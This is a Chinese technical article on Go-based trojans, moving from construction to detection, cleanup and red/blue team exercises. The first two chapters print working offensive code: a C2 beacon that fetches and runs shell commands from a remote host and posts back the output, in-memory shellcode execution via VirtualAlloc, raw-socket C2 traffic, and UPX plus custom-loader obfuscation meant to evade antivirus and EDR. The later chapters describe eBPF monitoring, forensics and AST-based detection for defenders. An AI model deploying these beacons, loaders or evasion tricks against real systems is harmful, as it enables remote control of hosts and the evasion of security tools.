第一章:Go语言脚本木马的本质与威胁全景
Go语言因其静态编译、跨平台免依赖、高并发特性和简洁语法,正被越来越多的攻击者用于构建隐蔽性强、检测率低的恶意工具。与传统Python或PowerShell脚本木马不同,Go编译生成的二进制文件不依赖运行时环境,可直接在目标主机执行,且默认无明显可疑API调用(如CreateRemoteThread),大幅绕过基于行为与签名的传统EDR检测。
木马核心特征
- 单文件分发:编译后为独立可执行文件,无需额外DLL或解释器
- 内存驻留能力:可通过
syscall包直接调用系统调用(如Linux下的mmap+mprotect),实现shellcode注入 - 反调试与混淆友好:支持
-ldflags "-s -w"剥离符号表和调试信息;结合garble工具可实现控制流扁平化与字符串加密
典型攻击链示例
以下Go代码片段模拟一个基础C2信标,使用HTTP轮询获取指令并执行:
package main
import (
"io/ioutil"
"net/http"
"os/exec"
"time"
)
func main() {
for {
resp, err := http.Get("http://192.168.1.100/beacon") // C2地址需替换
if err == nil && resp.StatusCode == 200 {
cmdBytes, _ := ioutil.ReadAll(resp.Body)
cmd := string(cmdBytes)
if cmd != "" {
out, _ := exec.Command("sh", "-c", cmd).CombinedOutput() // Linux环境
http.Post("http://192.168.1.100/result", "text/plain",
ioutil.NopCloser(bytes.NewReader(out))) // 回传结果
}
}
time.Sleep(30 * time.Second) // 轮询间隔
}
}
编译指令:
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o beacon beacon.go
执行后生成无调试信息、无符号表的Linux ELF文件,体积通常小于3MB,易通过钓鱼邮件或漏洞利用投递。
当前威胁态势
| 维度 | 现状描述 |
|---|---|
| 检测覆盖率 | 主流杀软对Go恶意样本静态检出率低于42%(2024年AV-TEST数据) |
| 样本增长趋势 | 2023年Q4至2024年Q2,Go恶意样本数量增长317% |
| 常见变种类型 | 反向Shell、挖矿代理、横向移动载荷、凭证窃取器 |
攻击者已将Go纳入APT组织标准工具链,如Lazarus、OceanLotus等均出现Go定制化后门。其“合法开发工具→恶意二进制”的模糊边界,正持续挑战终端安全策略的有效性。
第二章:Go木马的典型构造与行为特征分析
2.1 Go编译特性如何被滥用于无文件/内存驻留攻击
Go 的静态链接与 CGO_ENABLED=0 编译模式可生成纯二进制、无外部依赖的可执行文件,天然适配内存加载场景。
内存中直接执行 Go 二进制
// 将 shellcode 嵌入 data section 并反射调用
import "unsafe"
func executeInMemory(payload []byte) {
page := syscall.VirtualAlloc(nil, uintptr(len(payload)),
syscall.MEM_COMMIT|syscall.MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
copy((*[1 << 20]byte)(unsafe.Pointer(page))[:len(payload)], payload)
syscall.Syscall(uintptr(page), 0, 0, 0, 0)
}
该代码绕过磁盘落盘:VirtualAlloc 分配可执行内存页,copy 注入 payload(如经 ld -r -b binary 链接的 Go stub),Syscall 直接跳转入口。关键参数:PAGE_EXECUTE_READWRITE 启用执行权限,MEM_COMMIT|MEM_RESERVE 确保即时可用。
攻击链关键特性对比
| 特性 | 传统 ELF 载荷 | Go 编译载荷 |
|---|---|---|
| 依赖动态链接库 | 是(libc) | 否(静态链接默认) |
| 反病毒签名暴露面 | 高 | 低(无标准 PE/ELF 头) |
| 运行时反射能力 | 弱 | 强(unsafe, syscall) |
graph TD
A[Go源码] -->|go build -ldflags '-s -w'| B[无符号静态二进制]
B --> C[strip + objcopy --add-section]
C --> D[内存解密+VirtualAlloc]
D --> E[直接 call entry]
2.2 基于net/http与syscall的隐蔽C2通信实现与逆向验证
核心设计思想
利用 Go 标准库 net/http 构建轻量 HTTP 客户端,绕过常见 TLS 指纹检测;通过 syscall 直接调用底层 socket 接口,规避高阶网络 API 的行为监控。
关键代码片段
// 使用 syscall.Socket + syscall.Connect 实现无 http.Transport 的原始连接
fd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, syscall.IPPROTO_TCP)
sa := &syscall.SockaddrInet4{Port: 443, Addr: [4]byte{10, 20, 30, 40}}
syscall.Connect(fd, sa)
syscall.Write(fd, []byte("GET /a?k=Zm9v HTTP/1.1\r\nHost: x.com\r\n\r\n"))
逻辑分析:跳过
http.Client的完整协议栈,直接构造 HTTP 请求行与头部;k=Zm9v是 Base64 编码的foo,用于混淆参数名。syscall调用不触发 Go runtime 网络事件钩子,降低 EDR 检出率。
逆向验证要点
- 使用
strace -e trace=socket,connect,write,read观察系统调用序列 - Wireshark 过滤
http && ip.dst == 10.20.30.40验证载荷特征
| 检测维度 | 传统 http.Client | syscall 原始套接字 |
|---|---|---|
| TLS 握手痕迹 | 显式 ClientHello | 无(明文 HTTP) |
| Go runtime 日志 | 有 | 无 |
| EDR hook 覆盖率 | 高 | 低(需内核层监控) |
2.3 利用CGO和反射机制绕过静态扫描的实战构造案例
静态扫描工具通常依赖符号表、字符串字面量和函数调用图进行检测,而 CGO 与 reflect 的组合可实现运行时动态行为,规避静态特征。
动态函数地址调用(CGO + unsafe)
// #include <stdio.h>
// void print_msg() { printf("payload_exec\n"); }
import "C"
import (
"unsafe"
"syscall"
)
func callViaAddr() {
fn := (*[0]byte)(unsafe.Pointer(C.print_msg))
syscall.Syscall(uintptr(unsafe.Pointer(&fn[0])), 0, 0, 0, 0)
}
逻辑分析:
C.print_msg在编译期不生成 Go 符号引用,unsafe.Pointer绕过类型检查;syscall.Syscall直接跳转执行,无函数名字符串残留。参数0,0,0表示无入参调用。
反射驱动的命令解析
import "reflect"
func dispatch(cmd string, args []string) {
m := map[string]func([]string){"run": execCmd}
if f := reflect.ValueOf(m[cmd]); f.IsValid() {
f.Call([]reflect.Value{reflect.ValueOf(args)})
}
}
反射调用隐藏了硬编码的函数名分支,
execCmd不在控制流图中显式出现。
| 技术手段 | 静态可见性 | 扫描规避效果 |
|---|---|---|
| 直接函数调用 | 高(符号+字符串) | ❌ |
| CGO 函数指针跳转 | 低(仅C符号,Go侧无引用) | ✅ |
reflect.Value.Call |
极低(无调用边) | ✅ |
graph TD
A[源码含print_msg] -->|CGO编译| B[C对象文件]
B -->|链接进二进制| C[无Go符号导出]
C --> D[静态扫描无法关联Go上下文]
2.4 Go模块劫持(supply-chain)型木马的构建与传播链复现
Go模块劫持依赖于go.mod解析机制与代理生态的弱校验特性。攻击者常通过域名过期、仓库接管或恶意发布同名模块实现注入。
恶意模块注册示例
// go.mod
module github.com/legit-lib/utils
go 1.21
require (
github.com/malicious/stdlib v0.1.0 // 实际指向篡改的proxy缓存
)
该require行诱导go build从公共代理(如 proxy.golang.org)拉取已被劫持的 v0.1.0 版本,而校验和未被开发者显式锁定(go.sum 缺失或被覆盖)。
传播路径关键节点
- ✅ 模块命名仿冒(
golang.org/x/net→golang-org-x-net) - ✅ GitHub仓库删除后被抢注
- ✅
GOPROXY环境变量劫持至恶意代理
| 阶段 | 触发条件 | 检测难点 |
|---|---|---|
| 注入 | go get 未指定版本 |
代理缓存返回伪造哈希 |
| 执行 | init() 中启动goroutine |
静态扫描易遗漏 |
| 回连 | DNS隐蔽信道(TXT查询) | 流量混入正常解析请求 |
graph TD
A[开发者执行 go get -u] --> B[go proxy 请求模块元数据]
B --> C{代理返回劫持版本?}
C -->|是| D[下载含恶意 init.go 的 zip]
D --> E[编译时自动执行植入代码]
2.5 跨平台混淆打包技术:UPX+自定义loader在Go木马中的实操应用
Go 二进制天然具备静态链接与跨平台特性,但其符号表和字符串易被逆向识别。UPX 可压缩并基础混淆,但现代沙箱普遍检测 UPX 特征头——需叠加自定义 loader 实现二次跳转。
自定义 loader 核心逻辑
// loader.go:内存解密 + RIP 重定位执行
func loadAndRun(payload []byte) {
decrypted := xorDecrypt(payload, key) // 使用硬编码 XOR 密钥解密
mem, _ := syscall.VirtualAlloc(0, uintptr(len(decrypted)),
syscall.MEM_COMMIT|syscall.MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
copy((*[1 << 20]byte)(unsafe.Pointer(mem))[:], decrypted)
syscall.Syscall(uintptr(mem), 0, 0, 0, 0) // 直接调用入口点
}
VirtualAlloc 申请可执行内存;syscall.Syscall 绕过 Go runtime 调度,实现裸地址跳转;xorDecrypt 避免明文密钥出现在 .rodata 段。
混淆流程对比
| 阶段 | 仅 UPX | UPX + 自定义 loader |
|---|---|---|
| 文件熵值 | ~7.2 | ~7.8 |
| 字符串可见性 | 部分残留 | 完全加密(运行时还原) |
| 主流 EDR 检出率 | 高(签名匹配) | 显著降低(无已知 loader 行为) |
graph TD
A[原始Go木马] --> B[UPX压缩]
B --> C[嵌入loader stub]
C --> D[编译为loader主程序]
D --> E[运行时解密+内存执行]
第三章:运行时检测与动态行为捕获技术
3.1 基于eBPF的Go进程系统调用追踪与异常行为基线建模
Go程序因goroutine调度、CGO调用及内联优化,传统ptrace或sysdig难以精准关联系统调用与用户态goroutine上下文。eBPF提供零侵入、高保真的内核事件捕获能力。
核心追踪机制
使用tracepoint:syscalls:sys_enter_*与uprobe双路径捕获:
uprobe挂载在runtime.entersyscall/exitsyscall,标记goroutine ID与syscall类型;kprobe补全非CGO路径的sys_write等关键调用。
// bpf_prog.c:提取Go runtime传入的g指针与syscall号
SEC("uprobe/runtime.entersyscall")
int trace_entersyscall(struct pt_regs *ctx) {
u64 g_ptr = bpf_reg_read(ctx, BPF_REG_RDI); // Go 1.21+中g指针位于RDI
u32 syscall_nr = bpf_get_current_syscall(); // 通过辅助函数获取当前号
bpf_map_update_elem(&syscall_start, &g_ptr, &syscall_nr, BPF_ANY);
return 0;
}
逻辑说明:
bpf_reg_read安全读取寄存器值避免eBPF验证器拒绝;bpf_get_current_syscall()是自定义辅助函数(需内核5.15+),替代易受栈偏移影响的PT_REGS_PARM1硬编码;&syscall_start为BPF_MAP_TYPE_HASH,键为goroutine地址,值为syscall编号,支撑goroutine粒度归因。
异常基线构建维度
| 维度 | 正常范围(P95) | 异常触发条件 |
|---|---|---|
| syscall频率 | > 5×基线且持续10s | |
| read/write比值 | 0.8–1.2 | 10 |
| 非预期syscall | epoll_wait, mmap |
出现execve或openat |
graph TD
A[Go进程] --> B{uprobe enteryscall}
A --> C{kprobe sys_enter_write}
B --> D[关联g_ptr + syscall_nr]
C --> D
D --> E[聚合至ringbuf]
E --> F[用户态libbpf程序]
F --> G[滑动窗口统计 + Z-score检测]
3.2 内存镜像提取与Goroutine栈回溯识别恶意协程模式
Go 程序运行时内存镜像(如 /proc/pid/mem 或 core 文件)中隐含大量 Goroutine 状态信息。通过 runtime.g0 和 runtime.allgs 指针可定位活跃协程链表。
栈帧解析关键路径
- 从
g.stack.lo定位栈底,向上扫描调用帧 - 匹配
runtime.goexit、runtime.mcall等特征返回地址 - 过滤非常驻模式:短生命周期 + 非标准启动点(如非
go func()而是newproc1直接调用)
// 示例:从 g 结构体提取栈顶函数名(需配合 DWARF 符号解析)
func getTopFunc(gPtr uintptr, memReader io.ReaderAt) string {
stackLo := readUint64(memReader, gPtr+0x8) // offset of stack.lo in 'g' struct
pcAddr := readUint64(memReader, stackLo+0x8) // assume saved PC at stack top
return resolveSymbol(pcAddr) // requires .debug_info or /proc/pid/maps + objdump
}
此代码依赖精确的
g结构体偏移(Go 1.21 中为0x8处stack.lo),readUint64需处理字节序与内存对齐;resolveSymbol必须关联调试符号或映射段权限校验。
恶意模式特征对照表
| 特征 | 正常协程 | 恶意协程 |
|---|---|---|
| 启动函数 | runtime.goexit |
syscall.Syscall |
| 栈深度 | ≥3 | 1–2(规避检测) |
| 内存访问模式 | 只读代码段调用 | RWX 内存页直接执行 |
graph TD
A[加载内存镜像] --> B[定位 allgs 链表]
B --> C[遍历每个 g 结构体]
C --> D[解析栈顶 PC & 符号]
D --> E{是否匹配恶意特征?}
E -->|是| F[标记可疑协程]
E -->|否| G[跳过]
3.3 Go runtime符号注入检测:识别非法unsafe.Pointer与reflect.Value篡改
Go 运行时对 unsafe.Pointer 和 reflect.Value 的合法性有严格约束,但恶意代码可通过符号劫持绕过类型系统检查。
检测核心原理
- 监控
runtime.convT2E、runtime.unsafe_New等关键符号调用栈 - 校验
reflect.Value的flag字段是否被非法覆写(如flagIndir | flagAddr组合异常) - 拦截
unsafe.Pointer转换链中非对齐或越界地址
典型非法操作示例
// ⚠️ 危险:通过反射篡改 reflect.Value.flag(未导出字段)
v := reflect.ValueOf(42)
hdr := (*reflect.Value)(unsafe.Pointer(&v))
// 修改 hdr.flag = 0x10000000 → 触发后续非法取址
此操作破坏
reflect.Value的内部状态一致性;flag值非法会导致v.Interface()返回未定义内存,且逃逸分析失效。检测需在valueInterface调用前校验flag合法掩码(仅允许flagKindMask | flagRO | flagIndir | flagAddr等组合)。
检测策略对比
| 方法 | 实时性 | 覆盖面 | 性能开销 |
|---|---|---|---|
编译期 -gcflags=-d=checkptr |
高 | 有限 | 无 |
运行时符号钩子(runtime.SetFinalizer + debug.ReadBuildInfo) |
中 | 全面 | |
eBPF 用户态探针(uprobe on runtime.reflectcall) |
低 | 最高 | 可配置 |
graph TD
A[程序启动] --> B{检测模式}
B -->|编译期| C[静态插桩 checkptr]
B -->|运行时| D[符号表扫描+flag校验]
D --> E[发现非法 flag 修改]
E --> F[panic with stack trace]
第四章:静态分析与自动化清除工程实践
4.1 Go二进制反汇编解析:从ELF/PE头到main.main函数入口定位
Go 二进制不依赖动态链接器符号表,main.main 入口需通过运行时结构逆向定位。
ELF头中的程序入口与Go运行时线索
readelf -h 显示 e_entry 指向 _rt0_amd64_linux(非 main.main),真实入口藏于 .go.buildinfo 段或 .text 中的 runtime.rt0_go 调用链。
定位 main.main 的三步法
- 解析
.gopclntab段获取函数地址映射 - 在
.text中搜索CALL runtime.morestack_noctxt后紧邻的CALL指令目标 - 验证目标地址是否在
main.命名空间内(objdump -t | grep "main\.main")
# 提取 .gopclntab 并解析首项(偏移 0x20 处为 func tab 起始)
xxd -s 0x20 -l 8 ./hello | cut -d' ' -f2- | tr -d ' \n' | xxd -r -p | hexdump -C
该命令读取 gopclntab 中函数表起始地址(小端序),用于后续遍历函数元数据;0x20 是 Go 1.20+ 格式中 funcnametab 偏移固定值。
| 段名 | 作用 | 是否含 main.main 地址 |
|---|---|---|
.text |
可执行代码 | ✅(需反汇编识别) |
.gopclntab |
PC 行号 + 函数元数据映射 | ✅(间接) |
.go.buildinfo |
构建元信息与符号哈希 | ❌(不含地址) |
graph TD
A[ELF Header e_entry] --> B[rt0_amd64_linux]
B --> C[runtime.rt0_go]
C --> D[findfunc via pclntab]
D --> E[main.main symbol offset]
4.2 Go字符串常量与硬编码C2域名的深度提取与IOC生成
Go二进制中硬编码的C2域名常以字符串常量形式嵌入.rodata或.text段,需结合静态分析与语义过滤精准识别。
提取核心逻辑
使用go tool objdump结合正则匹配提取ASCII字符串,再通过DNS合法性校验与威胁情报交叉去噪:
// 从原始字节流中提取潜在域名(长度3–63,含点分结构)
re := regexp.MustCompile(`\b[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*\.[a-zA-Z]{2,}\b`)
matches := re.FindAllString(rawBytes, -1)
→ rawBytes为内存映射的只读段数据;正则排除纯数字TLD、单字符子域等非法模式,提升IOC准确率。
IOC生成规范
| 字段 | 示例值 | 说明 |
|---|---|---|
ioc_type |
domain |
固定为域名类型 |
confidence |
high |
来自硬编码+DNS语法双重验证 |
source |
go_binary_string |
标明来源上下文 |
处理流程
graph TD
A[加载ELF/PE文件] --> B[解析.rodata段]
B --> C[正则提取候选字符串]
C --> D[DNS语法校验]
D --> E[排除白名单TLD]
E --> F[输出STIX 2.1格式IOC]
4.3 基于AST的源码级木马特征匹配:识别恶意import与init()陷阱
现代Go木马常隐藏于合法导入与包初始化逻辑中,绕过二进制扫描。AST解析可精准定位语义级风险模式。
恶意 import 模式识别
典型特征:动态拼接路径、混淆包名、引入非标准仓库。
import (
_ "github.com/user/" + "malware" // ❌ 字符串拼接导入(AST中为BinaryExpr)
_ "golang.org/x/sys/unix" // ✅ 合法,但需结合上下文判断
)
该代码在AST中表现为 ImportSpec 节点嵌套 BinaryExpr,+ 操作符暴露动态构造意图;_ 空标识符暗示无显式调用,依赖 init() 触发。
init() 陷阱检测逻辑
graph TD
A[Parse Go source] --> B[Traverse AST]
B --> C{Is FuncDecl named “init”?}
C -->|Yes| D[Check for network/syscall calls]
C -->|No| E[Skip]
D --> F[Flag if contains http.Get or os/exec.Command]
匹配规则表
| 特征类型 | AST节点类型 | 危险信号示例 |
|---|---|---|
| 混淆导入 | BinaryExpr + BasicLit | "github.com/" + obfuscated |
| 隐式执行 | FuncDecl + CallExpr | init() { http.Post(...) } |
4.4 自动化清除框架设计:隔离、进程终止、持久化项清理与取证快照生成
该框架采用分阶段原子化执行策略,确保清除动作可审计、可回溯、不可逆。
核心执行流程
graph TD
A[启动] --> B[内存隔离]
B --> C[可疑进程枚举与终止]
C --> D[持久化点扫描]
D --> E[注册表/服务/计划任务清理]
E --> F[生成取证快照]
关键操作示例(PowerShell)
# 终止指定签名进程并记录PID
Get-Process | Where-Object { $_.Path -match "malware.*\.exe" } |
ForEach-Object {
Stop-Process -Id $_.Id -Force -PassThru |
Select-Object Id, ProcessName, Path, StartTime
}
逻辑分析:Get-Process 全量枚举进程;Where-Object 基于路径正则匹配可疑二进制;Stop-Process -Force 强制终止并启用 -PassThru 输出对象供后续审计;返回字段涵盖取证必需的上下文。
清理项类型对照表
| 类别 | 示例位置 | 是否支持回滚 |
|---|---|---|
| 启动项 | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
否 |
| Windows服务 | Get-Service -Status Running |
否(需预存配置) |
| 计划任务 | Get-ScheduledTask | Where State -eq 'Ready' |
是(依赖快照) |
自动化清除框架将隔离、终止、清理与快照四步耦合为单次事务单元,所有操作均写入不可篡改的JSON取证日志。
第五章:防御体系演进与红蓝对抗新范式
防御纵深从边界到身份的重构
某大型金融集团在2023年完成零信任架构落地,拆除传统DMZ区域,将原有17个独立安全网关统一替换为基于SPIFFE/SPIRE的身份认证代理集群。所有内部微服务调用强制执行mTLS双向证书校验,API网关日志显示横向移动尝试下降92%。关键业务系统(如核心支付引擎)接入动态权限策略引擎,权限变更平均生效时间从小时级压缩至8.3秒——该数据来自其SRE团队发布的《Q3红队复盘报告》。
红蓝对抗驱动的自动化响应闭环
在2024年华东某省级政务云攻防演练中,蓝队部署的SOAR平台触发了237次自动响应动作:包括隔离受控主机、阻断C2通信域名、回滚被篡改的Kubernetes ConfigMap。其中19次响应基于红队真实攻击链生成(如利用Log4j漏洞获取初始访问后横向渗透至ETCD),全部在平均4.7秒内完成。以下为典型响应流程的Mermaid时序图:
sequenceDiagram
participant R as Red Team
participant D as Detection Engine
participant S as SOAR Platform
participant K as Kubernetes Cluster
R->>D: Exploit CVE-2021-44228 via JNDI lookup
D->>S: Alert: Suspicious LDAP request + Process injection pattern
S->>K: Patch kubelet config, rotate service account token
K->>S: Confirmation: Pod restarted with new RBAC context
攻防知识图谱的实战化沉淀
某运营商安全运营中心构建了覆盖587个APT组织技战术的图谱数据库,每个节点关联真实捕获的IOC、TTPs及本地化检测规则。当红队模拟Lazarus组织攻击时,蓝队通过图谱快速匹配出其常用PowerShell混淆特征(如-enc参数+Base64嵌套层数≥5),自动启用深度内存扫描模块,在攻击载荷解密前完成进程终止。该机制在3次实战对抗中平均提前12.6秒阻断攻击链。
云原生环境下的对抗新战场
容器运行时防护不再依赖静态镜像扫描。某电商企业在生产集群部署eBPF探针,实时监控execve系统调用链,当检测到/bin/sh进程由非白名单路径的kubectl exec触发时,立即冻结Pod并提取内存快照。2024年Q2共捕获14起逃逸攻击,其中3起涉及利用runc漏洞提权,所有样本已同步至CNCF SIG Security威胁情报库。
| 对抗维度 | 传统模式响应时效 | 新范式响应时效 | 数据来源 |
|---|---|---|---|
| 容器逃逸检测 | 8.2分钟 | 1.4秒 | 企业SOC日志分析报告 |
| 横向移动阻断 | 手动配置防火墙 | 自动更新Calico NetworkPolicy | 红队攻击链时间戳比对 |
| 权限滥用识别 | 周级审计 | 实时RBAC决策引擎 | IAM系统API调用埋点 |
防御有效性验证的量化指标体系
某省级电力公司建立包含12项硬性指标的对抗效能评估矩阵,例如“红队突破边界后平均驻留时间≤17分钟”“蓝队对已知TTPs的检出率≥99.3%”。2024年首轮评估中,其OT网络段因未覆盖Modbus协议异常流量检测,导致指标不达标,随即引入OPC UA流量解析插件并完成全网升级。
